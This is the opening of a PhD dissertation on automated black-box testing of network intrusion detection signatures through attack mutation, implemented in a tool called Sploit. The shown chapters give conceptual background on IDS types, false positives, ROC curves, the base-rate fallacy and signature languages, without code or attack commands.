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Abstract

Intrusion detection systems (IDSs) are tools designed to detect the evidence
of computer intrusions. IDSs usually rely on models of attacks (called
signatures) to identify the manifestation of intrusive behavior. The quality
of these models is directly correlated to the system’s ability to identify all
instances of a certain attack without making mistakes. Unfortunately,
writing good signatures is hard, and, in the past, a number of evaluations
pointed out the poor quality of signatures used in both open-source and
commercial systems.

If the models used in intrusion detection were known, it would be pos-
sible to examine them to identify possible “blind spots” that could be
exploited by an attacker to perform an attack while avoiding detection.
Unfortunately, commercial systems do not provide access to the signatures
they use to detect intrusions. Moreover, even in the cases when detec-
tion models are available, it is extremely time-consuming to devise testing
procedures that analyze the models and identify blind spots.

This dissertation proposes a novel black-box technique to test and evalu-
ate misuse detection models in the case of network-based intrusion detec-
tion systems. The testing methodology is based on an automated mecha-
nism to generate a large number of test cases by applying mutant operators
to an attack template. Each operator implements a transformation func-
tion that is able to change the attack manifestation while preserving its
functionality.

The lack of knowledge about the signature internal details forces the
mutation process to be performed blindly. Typically, this implies that
all possible combinations of available transformations must be generated,
thus reducing the effectiveness of the whole testing process. To avoid this
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problem, we improved our technique to automatically select a subset of the
available mutants based on information gathered by analyzing the dynamic
behavior of the intrusion detection system under test. The idea consists in
applying data flow analysis techniques to the intrusion detection system
binary to automatically identify which parts of a network stream are used
to detect an attack and what tests are performed on such data. This
information is then used to drive a mutation engine so that it can focus on
modifying the most detection-critical parts of an attack.

Our testing technique was used as a basis to develop an automated test-
ing tool named Sploit which was able to spot a substantial number of
weaknesses in the signatures of three well-known intrusion detection sys-
tems.



Riassunto

I sistemi di intrusion detection sono tool progettati per individuare ed
identificare i tentativi di intrusione all’interno di sistemi informatici e sono
comunemente basati su appositi modelli (chiamati signature) dei possibili
attacchi.

La qualità di tali modelli è legata all’abilità di identificare correttamente
e con il minor numero di errori ogni possibile istanza di un particolare
attacco. Sfortunatamente la realizzazione di buoni modelli è particolar-
mente difficile e richiede una grande quantità di tempo e di esperienza
da parte del programmatore. Negli ultimi anni, infatti, molte valutazioni
indipendenti hanno evidenziato la scarsa qualità dei modelli utilizzati nei
più diffusi sistemi di intrusion detection.

Se le signature fossero pubbliche, sarebbe teoricamente possibile esami-
narle direttamente per determinarne la qualità ed evidenziarne eventuali
debolezze che potrebbero essere sfruttate da un attaccante per penetrare
il sistema senza essere individuato. Sfortunatamente gran parte dei sis-
temi commerciali custodisce gelosamente i propri modelli ed, anche qualora
questi fossero disponibili, la loro analisi manuale sarebbe comunque molto
lunga e tediosa.

In questa tesi viene proposta una tecnica innovativa per il testing black-
box delle signature utilizzate nei sistemi di network intrusion detection.
La metodologia si basa sulla generazione automatica di un gran numero
di casi di test ottenuti applicando opportune trasformazioni ad un’istanza
nota di un attacco.

L’utilità di avere a disposizione un meccanismo in grado di generare un
gran numero di casi di test è però limitata dal fatto di doverli provare “alla
cieca”, ossia dalla mancanza di un criterio per scegliere ed utilizzare sola-
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mente i più promettenti. Per ovviare a questo problema, abbiamo esteso
la nostra medotologia introducendo un meccanismo di analisi dinamica del
sistema di intrusion detection in esecuzione, in grado di segnalare quali
parti dell’attacco vengono effettivamente utilizzate nel processo di identifi-
cazione. Queste informazioni vengono poi utilizzate per guidare il motore
di generazione dei casi di test in modo da scartare sin dal principio quelli
che non avrebbero alcun effetto nell’esperimento in esame.

Per finire, le tecniche da noi presentate sono state implementate in un
tool chiamato Sploit che è stato utilizzato con successo per evidenziare
numerose debolezze in tre tra i più conosciuti sistemi di network intrusion
detection disponibili sul mercato.
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chapter one

Introduction

The problem with bad security is that it
looks exactly the same as good security

B. Schneier

Today’s lifestyle greatly relies on the availability, reliability, and security
of computers and computer networks. Unfortunately, any host connected
to the Internet is often the target of a wide range of attacks. This is
certainly true for big companies with hundreds of hosts, services, and con-
fidential information, but it is equally true for small offices with no sensitive
data to defend. In fact, if it is not surprising that a military network may
attract the attention of criminals and the curiosity of hackers, many people
tend to forget that also an isolated and barely protected home network is
an inviting place for intruders, always interested in a safe launching pad
for future attacks.

Since the beginning of 2003, the Internet Storm Center [isc] is monitor-
ing the average survival time of an unpatched machine connected to the
Internet. At the time of writing, a Windows installation can last around
21 minutes, less than it is required to download and install all the critical
security patches from the Microsoft web site. This is a clear evidence of
the incredible speed at which attacks can spread across the network (for
example, in January 2003 the Slammer worm infected more than 90% of
the vulnerable hosts in less than 10 minutes [paxson03]). This speed of-
ten exceeds any possibility of human intervention, and makes extremely
important the development of both hardware and software components to
protect computer systems and identify attacks against them.

In 1980, J.P.Anderson proposed the use of automated tools to promptly
detect intrusions against computer systems [anderson80]. These applica-
tions, called intrusion detection systems, are now standard equipment in
many small and large organizations.

The great majority of intrusion detection systems currently deployed rely
on models of attacks to identify the manifestation of intrusive behavior.
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The ability of these systems to reliably detect attacks is strongly affected by
the quality of their models, which are often called “signatures.” A perfect
model would be able to detect all the instances of an attack without mak-
ing mistakes, that is, it would produce a 100% detection rate with 0 false
alarms. Unfortunately, writing good models is hard. Attacks that exploit
a specific vulnerability may do so in completely different ways, and writ-
ing models that take into account all possible variations is very difficult.
Developing good signatures is a challenging task that requires experience
and a very deep knowledge of many details related to the attack under
analysis. The result is that the security expertise of the signature devel-
oper may have a notable impact on the ability of the model to correctly
characterize an attack.

Independent evaluations often show that the quality of the signature
adopted in many commercial intrusion detection systems is very low, prov-
ing that vendors are usually more interested in releasing new products to
increase their market share than in accurately testing the effectiveness of
their applications. These results are even more alarming because the flaws
in the detection models are usually found by security practitioners with no
systematic approach.

In fact, present testing methodologies are completely inadequate for test-
ing the quality of intrusion detection signatures, since they are designed to
measure the ability of systems to identify different kind of attacks and not
different variations of the same attack. Fortunately for the vendors, many
intrusion attempts are the result of “script kiddies”, i.e., teenagers with
no security knowledge that merely download and execute scripts that are
distributed by attack developers. It is often the case that these scripts are
just proof of concept programs, used to show the presence of an exploitable
vulnerability in a piece of software. Almost any intrusion detection sys-
tem performs very well against these childish types of attacks, given the
impression that it can provide a robust defense mechanism against real
attackers.

The lack of serious and credible evaluations often results in the unpleas-
ant situation in which users are forced to trust the vendor claims on the
quality of their own products. The problem is serious: how can a system
administrator distinguish between snake oil and breakthrough products
when they both claim the same things, they both use the same buzzwords,
and none of them provide useful details on the internal behavior of their
systems?
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If the models used in intrusion detection were known, it would be possible
to examine them to identify possible “blind spots” that could be exploited
by an attacker to perform the attack while avoiding detection. Unfortu-
nately, few commercial systems (if any) provide access to the signatures
they use to detect intrusions. Moreover, even in the cases when detec-
tion models are available, it is extremely time consuming to devise testing
procedures that analyze the models and identify blind spots.

These considerations are the basis of the increasing need for automated
tools that can be used to perform black-box testing of intrusion detection
signatures.

1.1. Contribution of the Thesis

This dissertation describes a black box technique to test and evaluate mis-
use detection models in the case of network-based intrusion detection sys-
tems. The testing methodology is based on an automated mechanism to
generate a large number of variations of an attack by applying mutant
operators to an attack template.

Exactly like any other testing methodology, this technique does not pro-
vide a rigorous evaluation of the “goodness” of the signatures under test.
Nonetheless, we claim that this is a valid way to improve one’s confidence
in the generality of a detection model. Even though we limit our scope
to network-based misuse detection systems, the same technique could be
easily extended to host-based intrusion detection systems and to systems
that use anomaly detection approaches.

We have developed a tool based on our testing technique and used it to
evaluate three popular network-based intrusion detection systems, namely
Snort, Bro, and RealSecure. The tool was able to generate mutant exploits
that evade the majority of the analyzed intrusion detection models. This
is the first time that such a high rate of success in evading detection has
been achieved using an automated tool.

The contribution of this dissertation can be summarized in the following
points:

• We provide a comprehensive approach based on a function-driven
taxonomy to design, analyze, and classify mutation and evasion tech-
niques.

• We propose a novel technique to test and evaluate misuse detection
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models in the case of network-based intrusion detection systems.

• We design a totally automated mechanism to generate a large number
of test cases starting from a single instance.

• We introduce a dynamic analysis technique to analyze a running
intrusion detection system and extract information that can be used
to drive the mutant generation.

• Finally, we implement the proposed techniques in a fully automated
testing framework called Sploit. As we have previously mentioned,
the tool has been evaluated in a testing experiment that involved
three famous network intrusion detection systems, proving the effi-
cacy of our approach against both commercial and open source prod-
ucts.

1.2. Organization

The rest of the dissertation is organized as follows.

Chapter 2 presents the required background on intrusion detection sys-
tems and introduces the problem of testing the quality of detection models.

Chapter 3 contains a survey of the previous works done in the field of
testing network intrusion detection systems. It provides a description of
the methodologies, of the existing tools, and of the major experiments done
in the past years by both academia and industry. Finally, it shows how
these previous studies relate with our approach.

Chapter 4 presents the details of our testing methodology and proposes
a theoretic model do describe both the attack template and the mutation
techniques.

Chapter 5 focuses on the problem of driving the creation of test cases.
A set of static criteria based on simple heuristics and a dynamic analysis
technique are presented.

Chapter 6 presents Sploit, the tool we developed to implement our
methodology. We present a survey of its functionalities and we show how
the tool can be used in practice to model an attack and its mutations.

Chapter 7 shows the results of the experiments we conducted to evaluate
our testing methodology and our dynamic analysis component.
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Finally, Chapter 8 concludes the dissertation and presents some future
research that can extend our work.





chapter two

Background and Motivation

The mathematics are impeccable,
the computers are vincible,

the network are lousy,
the people are abysmal

B. Schneier

This chapter introduces the problem of the quality of network intrusion
detection signatures. We start by defining what an intrusion detection
system (IDS for short) is, focusing in particular our description on network-
based IDSs. In the second part of the chapter we analyze the intrusion
detection problem in more details, providing some considerations on its
decidability. This leads to the definition of signatures as approximate
models to detect intrusive behaviors, and therefore to the importance of
properly testing the quality of these models.

2.1. Intrusion Detection Systems

Intrusion detection systems consist of sensors (or groups of sensors) that
monitor applications, operating systems, or network activities, ringing a
bell whenever they detect the evidence of an intrusion. They cannot pro-
tect the system against an attacker exactly like a traditional alarm cannot
avoid a burglar to climb over an house gate. Nevertheless, if correctly de-
ployed as a complement to other security technologies, IDSs represent an
invaluable source of information for the site administrator and an efficient
deterrent for malicious people.
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Figure 2.1: Security process loop

2.1.1. IDSs in the Security Scenario

The ideal goal of any security expert consists in making a system secure
enough to avoid any possible intrusion attempt. In a faultless world this
would require to correctly develop, deploy, and configure each piece of
software, to install and configure a set of defense mechanisms, and to train
all the users (that are often the weakest link in the chain) on how to
properly use the system.

Unfortunately, the real world is much more complicated. Today’s net-
work, protocols, computers, and even single programs are incredibly com-
plex. No matter how much effort one can spend in designing and testing
the software, sooner or later a flaw will be discovered that undermines
the security of the system. This makes it practically infeasible to create a
totally secure system, immune to any intrusion.

The common solution of building some form of perimeter defense (e.g.,
through firewalls and proxies) to protect the internal network from outside
is often not enough. In fact, the defense layer itself can contain errors, it
can be mis-configured, or it can be bypassed with the conscious or uncon-
scious help of some of the internal employees. For this reason it is not a wise
choice to base the whole security process only on prevention techniques. A
more reliable process must also take into account how to detect and iden-
tify failures, and how to properly react to them (Figure 2.1). A security
process that relies only on prevention without any detection mechanism
can be very dangerous, since it can engender a false sense of protection.

Anyway, a good prevention is still the first line of any security architec-
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ture. In the past years many tools have been developed to help people
design, implement, and deploy secure systems (e.g., firewalls, tools for ac-
cess control, static analysis, vulnerability scanning, and VPN, just to name
a few). But a system that is reasonably secure today can be totally in-
adequate to cope with the risks of tomorrow. Therefore, it is important
to be able to promptly detect any breach in the prevention mechanism as
soon as a malicious user find a way to evade it and introduce itself into the
system. The detection phase relies on the ability to collect and identify the
evidence of intrusions and, since the first 1980’s, tools for intrusion detec-
tion have been proposed to automate as much as possible this task. Some
of the questions that intrusion detection systems should help answering
are the following:

• When did the intrusion take place?

• Which part of the system/network has been involved?

• Who was the intruder and where does he/she come from?

• What strategy/vulnerability did the attacker exploit to penetrate the
system?

Once the intrusion has been identified, it is necessary to implement some
reaction mechanism to close the loop and prevent similar problems from
occurring again in the future. This phase includes the actions needed to
recover the damage, restore the data, persecute the attackers, and improve
the prevention mechanism to take into account the new threat.

This dissertation focuses on the detection phase, and in particular on the
automatic intrusion detection tools that have been developed to identify
network intruders.

2.1.2. Definition and Classification

According to [mukherjee94], intrusion detection is the process of detect-
ing and identifying malicious and unauthorized use, misuse, and abuse of
computer systems.

The DARPA Common Intrusion Detection Framework (CIDF) [cidf]
splits intrusion detection systems in four logical components as depicted in
Figure 2.2. Event Generators are the sensors of the IDS and their purpose
consists in collecting data from the event stream and providing it (raw or



10 Testing Network Intrusion Detection Systems

Figure 2.2: Common Intrusion Detection Framework Model

after some pre-processing) to the other components. Event Databases are
the places where events and intermediate information are stored for future
analysis. The event analyzer is the core unit of any intrusion detection sys-
tem because it contains the decision algorithm responsible to distinguish
intrusive from normal events. It can be seen as a black box receiving as
input a stream containing only two types of events: intrusive and non-
intrusive. Using some kind of model stored in an internal knowledge base,
the analyzer distinguishes the former from the latter, and communicates
the decision as output.

A consequence of this model is that all IDSs are based on the assumption
that the input stream contains enough information to distinguish between
intrusive behaviors and non intrusive ones. Of course, the distinction be-
tween the two classes is just the first step in the intrusion detection process.
In fact, intrusions attempts must then be isolated, identified, correlated,
and promptly reported to the site security officer (SSO) who should adopt
the necessary response.

Finally, some IDSs may also contain Response Units to be able to actively
start some form of countermeasure that can block the detected attack or
modify the environment (e.g., the firewall rules) to prevent similar action
to happen again in the future.
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Even though more complex and complete taxonomies have been pro-
posed (e.g., by Debar et al. [debar99] and by Axelsson [axelsson00]), the
main classification consists in categorizing intrusion detection systems in
two orthogonal directions. Depending on the nature of the event stream,
we can distinguish network-based from host-based intrusion detection sys-
tems. Orthogonally, depending on the type of models in the knowledge
base, we can distinguish between anomaly-based and misuse-based intru-
sion detection systems.

Network vs. Host IDSs

Host-based intrusion detection systems (HIDSs) monitor the host where
the sensor is installed. In this case the event stream consists most of the
time of system call sequences and application logs. These IDSs have the
clear advantage of being able to analyze the real behavior of the service
under control: it is reasonably easy for a host IDS to spot when an ap-
plication crashes, when it tries to open a suspicious file, or it attempts to
open a connection through the network. Moreover, these system can also
detect intrusions where a legitimate user abuses his/her privileges, trying
to perform some illegal action.

The main problem of HIDSs is that the event collection relies on ad-hoc
functionalities and auditing facilities provided by the underlying operating
system and this can make it very hard to port host-based IDSs from one
platform to another. Even worse, there are no clear standards on the type
of information that the operating system should provide to the monitor
application (one of the few exceptions is the Basic Security Model [sun:bsm]
adopted by Sun in the Solaris operating system).

Network-based IDSs (NIDSs) differ from HIDS because they are placed on
a network segment (or connected to a monitor port in a switch) where they
can monitor the whole traffic directed towards one or more computers. In
this case the sensor is basically a sniffer and the event stream is composed
of raw network packets. The big advantage is that a single system can
be used to monitor the whole network (or part of it), without the need
of installing a dedicated software sensor on each host. Unfortunately, the
nature of the event stream makes network-based IDSs more complicated
and easy to evade. In fact, in order to be able to understand the traffic, they
usually need to reassemble the network stream and parse a huge variety
of (more or less standard) protocols. In addition, it is very difficult for a
network-based IDS to understand what is the real effect that a sequence
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Host-Based IDSs

Can analyze what an application is doing

Advantages Can verify the success of an attack

Can detect attacks that do not involve the network

No additional hardware is required

Must be installed on every single hosts

Disadvantages Degrade the systems performance

Vulnerable to tampering

Network-Based IDSs

Does not affect hosts performances

Totally transparent

Advantages Can monitor multiple host at the same time

More tamper resistant

Can detect network attacks that are not visible

from single hosts

Need to cope with a huge amount of details

Disadvantages Must be very fast to avoid missing packets

Difficult to deploy and configure

Problem with encrypted channels

Table 2.1: Advantages and disadvantages of host-based and network-based
IDSs

of packets is going to produce on the target service. In [shankar03], the
authors cite the ambiguity (i.e., the problem of determining which packets
actually reach the target and how they will be interpreted ) as one of the
most critical problems of network based IDSs.

Table 2.1 summarizes advantages and disadvantages of the two approaches.
It is clear that the two techniques complement each other and that a com-
bination of them is likely to improve the possibility of detecting an attack.
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Anomaly-based vs. Misuse-based IDSs

Anomaly detection techniques consist of defining what is the normal (al-
lowed) behavior of the system and then flagging as intrusive any event that
falls outside the “normal” boundaries, or that is different enough from a
statistical perspective. Different kinds of models can be used to describe
the behavior of single users, system applications, and even network traffic.
Anomaly detection are usually based on a statistical analysis of the trend
of some quantity (usually system load, memory, and network traffic) or
on the pattern recognition of sequences of events (e.g., log-ins time, and
system calls sequences). These models are usually derived from the normal
use of the system and they are continually updated using some automatic
learning techniques (e.g., neural networks, and bayesian models).

Anomaly detection depends on two strong assumptions:

(1) Any intrusive action is necessary anomalous

(2) Everything that is not normal is an intrusion attempt

The previous assumptions are not always true, causing an high number of
harmless events to be flagged as intrusive. Moreover, it is far from trivial to
specify (or learn) the profile of the “normal behavior” for complex systems
and nothing prevents a user from slowly modifying his profile to a point
were a policy violation would be considered a normal behavior.

Misuse detection adopts a complementary approach. In this case, the
hypothesis is that it is somehow possible to create a set of models to
describe intrusive behaviors. Once these models have been written, they
can be matched against the event stream to distinguish the normal from
the malicious events. Misuse intrusion detection systems are usually more
precise and less prone to false positive than anomaly-based systems, but
they also have a major shortcoming: the system can detect an attack only if
it knows the corresponding attack model: no novel attack can be detected
with this approach. Table 2.2 summarizes advantages and disadvantages
of both anomaly and misuse techniques.

Network-based intrusion detection systems based on misuse detection
approaches are the most widely deployed type of intrusion detection sys-
tems. For example, Snort [roesch99] and ISS’s RealSecure [realsecure],
which represent the leading products in the open-source and commercial
worlds, respectively, are both network-based misuse detection systems.
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Misuse-Based IDSs

Higher detection rate and less false positives

Advantages Do not require a “learning” phase

More difficult to evade

Can provide more information on the attacks

Disadvantages Need frequent signatures update

Cannot detect novel or unknown attack

Anomaly-Based IDSs

Do not require continuous maintenance

Advantages The learning algorithm can tailor the system
to the operating environment

Can detect unknown attack

Prone to false positives

Disadvantages Do not provide attack identification

Difficult to create accurate model

Easier to evade

Table 2.2: Misuse vs. Anomaly-based IDSs

2.2. The detection problem

Network intrusion detection systems are somehow similar to antivirus soft-
ware. An antivirus is a program designed to search, identify, and possibly
remove computer viruses, i.e., self-replicating piece of code that can infect
other programs introducing inside them a copy of itself. An antivirus scans
the files on the computer disk looking for footprints of viral code as a mis-
use network intrusion detection system scans the network traffic looking
for malicious patterns (actually there is a significant difference due to the
fact that while an antivirus system can analyze the virus code, a network
intrusion detection system can only look at the manifestation of an attack,
not at its real code).
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Even though the two problems are very similar, virus detection has been
widely studied and it has been proved to be undecidable since 1986 [cohen86],
whereas the intrusion detection problem still lacks any mathematical study
on its complexity.

The fact to be undecidable does not mean that it is possible to realize
a viral code that cannot be detected. It means, instead, that given an
antivirus system A, it is always possible to write a virus X that A is not
able to detect; of course, it is then possible to modify A to identify the
new virus, and so forth. It looks reasonable that similar considerations
may hold also for intrusion detection systems, even though there are no
theoretical studies in this field.

It is not the purpose of this thesis to provide a theoretical foundation
for intrusion detection, but a few considerations are required to better
introduce the signature testing problem.

2.2.1. Difference between Attack and Intrusion

So far, the term “intrusion” has been used without providing any precise
definition of its meaning. The problem is that also in the security commu-
nity there is no common agreement on a technical definition of the term.
Anderson [anderson80], in his seminal paper on intrusion detection, defined
an intrusion as a successful unauthorized attempt to access information,
manipulate information, or render a system unreliable or unusable. Similar
definitions have been proposed in [heady90] which defines an intrusion as
an action that compromises a resource’s integrity, confidentiality or avail-
ability and in [mukherjee94], where an intrusion is simply any unauthorized
use, misuse, or abuse of computer systems.

RFC 2828 [rfc2828] proposes an Internet security glossary that defines
the term security intrusion as:

“A security event, or a combination of multiple security events,
that constitutes a security incident in which an intruder gains,
or attempts to gain, access to a system (or system resource)
without having authorization to do so.”

and a security incident is described as a “security-relevant system event
in which the system’s security policy is disobeyed or otherwise breached”.

According to this definition, for the rest of this thesis we are going to
consider intrusions only the events that violate one or more security poli-
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cies. Therefore, we do not use the same term to refer to any unsuccessful
attempt to violate a security policy. To avoid confusion, when we want to
refer to an intrusion attempt (independently from the final result) we will
use the term attack. Consistently, RFC 2828 defines an attack as: “. . . an
intelligent act that is a deliberate attempt (especially in the sense of a
method or technique) to evade security services and violate the security
policy of a system”[italic added].

The difference is clear: any intrusion is a consequence of an attack, but
not all attacks lead to an intrusion. An attack may fail for many reasons:
because the target system has been patched, because the installed version
is not vulnerable, or because a network device (e.g., a firewall or a reverse
proxy) blocks or normalizes the malicious traffic before it can reach the
target service.

This is not just a terminology problem. From an intrusion detection point
of view, the distinction between attacks and intrusions is very important.
As the name says, the purpose of intrusion detection should be to detect
intrusions. Unfortunately, this task can be very hard since the fact to be an
intrusion is not just a property of the network stream, but it also depends
on the effect that the stream produces on the target system.

The result is that most of the network intrusion detection systems do not
even try to distinguish between attacks and intrusions and just let the user
decide which was the result of the malicious events by carefully analyze the
alerts reported by the analysis. We discuss this topic more in section 2.2.3.

2.2.2. Some considerations on the decidability of network intru-
sion detection

The definition of intrusion adopted in section 2.2.1 is not suitable for a
mathematical reasoning. In fact, it depends on the meaning of the expres-
sion “system security policy” that from a mathematical point of view is
as fuzzy as the “intrusion” term was. However it is still possible to make
some qualitative considerations.

Independently of the language used to describe them, security policies
represent sets of rules that define the security measures taken to protect the
system and its information. Among other things, they should define who
is allowed to read or modify particular information and which operations
are available for a certain user.

An example of a simple (and probably widely adopted) security pol-
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icy may assert that: “A user is not allowed to read the content of the
/etc/passwd file through a network connection”. Therefore, the policy
would be violated if the passwd file is transferred through the network in
the middle of an HTTP or FTP session. If some user uses telnet to lo-
gin into a computer in the local network and tries to cat the passwd file,
that is also bad. It is a policy violation also if the passwd file is found in
an outgoing mail. Now the question is: is the problem of detecting any
violation of this policy looking at the network traffic a decidable one?

In the most general case this task can be very tricky also for host in-
trusion detection systems. In fact, it is easy to detect whenever a process
opens a given file, but it is far from trivial to prove that the action was a
consequence of some remote command and it was not, for example, due to
the system administrator regularly logged on the computer console. For a
network intrusion detection system, the problem is even worse. The net-
work packets could contain just a binary piece of code with the instructions
to open, encrypt, and transmit back the passwd file to the attacker in a
covert channel. In this case, the detection problem is somehow similar to
the antivirus problem that we already know to be undecidable.

One may argue that the previous passwd policy was too abstract and
informal. Maybe using some kind of formal language to represent the
security policies can help giving a final and precise answer to the decid-
ability problem. This is totally true, and that is the main reason why a
mathematical study of intrusion detection system is needed.

Even though this is not an undecidability proof, these considerations
should persuade the reader that it is often the case in which a network
intrusion detection sensor may not have all the information it needs in order
to decide whether a certain trace must be considered or not an intrusion.
Anyway, this does not mean that detecting intrusions is impossible and
that these techniques should be abandoned: after all, it is important to
remember that “perfect” methods do not exist in security.

Any time an exact algorithm to solve a problem is not available or it
is too inefficient (a problem that unfortunately recurs very often in com-
puter science), what a programmer does is to implement some approximate
solution based on some kind of heuristics. This is exactly what antivirus
software and network intrusion detection systems do. Intrusion signatures,
in fact, are nothing more than approximate models for detecting network
intrusions.
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Figure 2.3: Differences between attack, intrusion, and detection spaces

2.2.3. False Positives and False Negatives

The Venn diagram shown in Figure 2.3 identifies three different and par-
tially overlapping regions of space: the attack space (AS), the intrusion
space (IS), and the detection space (DS). The attack space is the space
of all the attacks, i.e., the set of network traces containing an attempt to
violate one or more security policies. Whenever the attack is successful,
the point belongs also to the intrusion space (so, IS ⊆ AS). Finally, the
detection space contains the network traces that the intrusion detection
system considers malicious. Due to the inaccuracy of the models, this
space can be considerably different from the previous ones.

Since most of the intrusion detection systems do not take into account
the success or failure of an attack (i.e., do not distinguish between attacks
and intrusions), usually only four classes of intersection are analyzed:

1. Undetected attacks (p ∈ AS, p /∈ DS) are false negatives

2. Alerts that do not correspond to an attack (p /∈ AS, p ∈ DS) are
false positives

3. Correctly detected attacks (p ∈ AS, p ∈ DS) are true positives

4. Normal events with no alerts (p /∈ AS, p /∈ DS) are true negative
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Unfortunately, due to the distinction between attack and intrusion, it is
not clear whether an alert that reflects a failed attack must be considered
or not a false alarm. The problem arises because many networks receive
a huge number of attacks everyday. Any host with a public IP address is
often the target of many flavors of worms, automatic scanner and bored
script kiddies looking for unpatched services. Anyway, most of these at-
tacks fail without causing any real damage to the system.

Each alert message requires time to be analyzed and in a large network
the people in charge of analyzing the NIDS alerts can spend all their time
reviewing reports of failed attacks. So, from this point of view, these kinds
of alerts should be considered as false positives. Nevertheless, many au-
thors agree [sommer03] that an intrusion detection systems should be able
to distinguish between the two flavors of false positives. Ranum [ranum03]
even adopts different names, classifying alerts related to failed attack as
noise. The term has been chosen to reflect the idea that these kinds of
alerts could (and should) be reduced by properly tuning the NIDS. If the
system had more information about the network topology and the services
running on each host, it should be able to better “understand” the network
traffic, increasing the probability of distinguishing failed attacks from real
ones.

Ranum’s considerations are interesting, but we believe that part of the
“noise” is an intrinsic consequence of the undecidability of the network in-
trusion detection problem and cannot be removed. Anyway, we agree that
a distinction of the two terms is important. The final purpose of any NIDS
is to detect intrusions but IDSs are often used also to identify anomalous
or inappropriate behaviors and in this sense it would be very useful if the
system could correctly identify also the failed attacks. Nevertheless, in this
case, we wish the intrusion detection system would able to distinguish the
alert in three categories: scans (that corresponds to an attempt to test the
presence of a vulnerability), failed attacks (when the IDS detect the attack,
but it determines that the attack did not result in a successful intrusion),
and actual intrusions.

For this reason, it is possible to identify two more gray areas of intersec-
tion in the Venn diagram. The first is the intersection between the attack
space and the detection space (p ∈ AS, p /∈ IS, p ∈ DS). We consider
classification errors when the IDS flags as intrusive a failed attack without
expressly reporting the event as an attempt of intrusion. These alerts can
cause a waste of time during the review phase but it is still not as bad
as classifying as intrusive perfectly normal traffic. The second gray area
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is the region of points that belong to the attack space but do not belong
neither to the intrusion nor to the detection space (p ∈ AS, /∈ IS, p /∈ DS).
In this case the intrusion detection system fails to provide some useful in-
formation about failed attacks, but this error is not critical since no real
intrusion has been involved.

2.2.4. More on the importance of false positives

The false positive rate and the detection rate are usually strongly corre-
lated. For example, the basic approach of generating an alert on each
event, allows an amazing 100% of detection (unfortunately with the same
percentage of false alarms since all the normal events are flagged as in-
trusive) while the solution of never raising any alert leads to zero false
positive (but zero true positive as well). Between these two extreme cases,
it is possible to configure the IDS to work in a wide range of shadows.
An IDS that considers an intrusion anything that is slightly different from
the “normal” behavior would probably have a high detection rate, but it
would classify as intrusion also a lot of non-intrusive events, thus raising
the false alarm rate.

By properly tuning the IDS, it is possible to maximize the combination of
detection and false alarm for the environment where the IDS is deployed.
The relationship between the two rates can be shown using a Receiver
Operating Characteristic (ROC) curve. Originally developed in the field
of signal detection 1, they have been applied for the first time to evalu-
ate intrusion detection systems by Lippman and al [lippmann98] in their
critique of the DARPA comparison experiment.

Figure 2.4 presents an example of a ROC curve. The X axis reports the
false alarm rate, and the Y axis shows the detection rate. The curve obvi-
ously goes from the origin to the top right corner (1.0, 1.0), corresponding
to the two extreme cases we depicted above. The diagonal line represents
the behavior of a random detector and obviously no real curve can perform
worse than that (actually, it is possible but in that case it is enough to
negate the IDS decision to obtain a result better than the random one).
The best performances are provided by curves that pass close to the upper
left corner, where the detection rate is high and the false positive rate is
low. Administrators can use a ROC curve to tune the system to work in
the best working point, where the tradeoff between the number of attack

1ROC curves were used during the Second World War to show the tradeoff between
hit and false positive rate in radar and sonar sensors
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Figure 2.4: Receiver operating characteristic curve

missed and the false alarm generated is optimal according with a given
cost-benefit model.

Another interesting consideration comes from the base-rate fallacy prob-
lem [axelsson99]. With this term we refer to the fact that humans tend
to forget to take into account the base rate of incidence when they try to
solve some probability problems. Let us consider an intrusion detection
system that has an accuracy of 99%. That means that the IDS flags as
intrusive an intrusive event 99% of the time, and that given a non-intrusive
event the IDS does not generate any alert 99% of the time. The question
is simple: can we consider this intrusion detection system accurate?

The figure “99” can be confusing and distracts from the real problem.
In fact, in the previous example we never said how frequent is an intrusive
event in the audit trail. Also if the number of attacks against a system can
be high, the number of “normal” traffic is surely predominant. Supposing
a ratio of 1 intrusive event every 10.000 events (and in a real scenario
is probably less than 1/100.000), the probability that an action flagged
as intrusive by the IDS corresponds to a real intrusion is given by the
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following formula (known as Bayes’ theorem):

P (I|A) = P (p ∈ AS| p ∈ DS) =
1

10000
∗ 0.99

1

10000
∗ 0.99 + (1 − 1

10000
) ∗ 0.01)

≈ 0.01

Where I means intrusive and A denote an IDS alarm. The result is
surprising: even though the 99% accuracy, 99% of the alerts are actually
false alarm!

The explanation is simple: since in the audit trail the number of non-
intrusive events totally overwhelms the number of intrusive events, the
probability that an event flagged as intrusive corresponds to a real intrusion
is dominated by the false positive rate.

In [axelsson99] the author points out how, with an intrusive event every
50.000 events, even a futuristic IDS with detection rate of 1.0 and false
alarm rate of 0.000012 would have a Bayesian detection rate of 0.66. So,
even though the total number of alerts would be very low, two thirds of
them would still be false alarms.

2.3. NIDS Signatures

The ability of a NIDS to reliably detect attacks is strongly affected by the
quality of their models, which are often called “signatures”. Each signature
should describes how to distinguish the manifestation of an intrusive action
from the rest of the network traffic. As we previously said, the network
trace may not contain enough information to be able to distinguish failed
attacks from real security violations. For this reason, it is common to refer
to “attack signature” instead of “intrusion signature” (hereafter, for the
sake of simplicity we will use the terms signature, detection model, and
attack or intrusion model as synonyms).

Many detection models have been proposed and implemented in intru-
sion detection systems: for instance production-based system [lindqvist99],
pattern matching rule [snort:rules, paxson98] colored Petri net [kumar94],
state-transition diagrams [eckmann00], and algebraic formulas [cuppens00].

2That is a very good value considering that in the DARPA testing experiment the
false positive objective was only 0.1%
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2.3.1. Signature Languages

Signatures are expressed using specific languages. Complex models are
usually split in a number of sub-signatures, often called rules. Each rule
can be used to match a different step of the intrusion, a different part
of the attack (e.g., the shellcode, or a suspicious command), or a different
variation in the way the attack can be performed. Rules can match against
the content of the raw packets or they can rely on some pre-processor that
provides aggregated information and high level events.

Unfortunately, there are no standard languages to write these models,
and more or less each company ends up developing its own ad-hoc repre-
sentation. Even worse, closed source systems do not reveal their languages
and they usually ship their models in a pre-compiled binary form. In fact,
developers of closed-source systems believe that keeping their signatures
undisclosed is an effective way to protect the system from evasion tech-
niques, over-stimulation attacks, and intellectual property theft.

The lack of standards, and the proprietary nature of many IDSs, make it
difficult to analyze the signature problem from a general perspective. Only
few studies have been done to evaluate and compare the different aspects
that characterize existing signature languages.

S. Kumar, in his PhD dissertation [kumar95], proposed an abstract sig-
nature classification containing four categories:

1. Existence: these models detect the mere presence of something.

2. Sequence: these models match several events occurring in strict se-
quence. Is is also possible to impose time constraint to the sequence
to model race condition attacks.

3. RE Pattern: these signatures rely on extended regular expressions
as a primitive to construct patterns.

4. Other Patterns: this category contains all the signatures that do
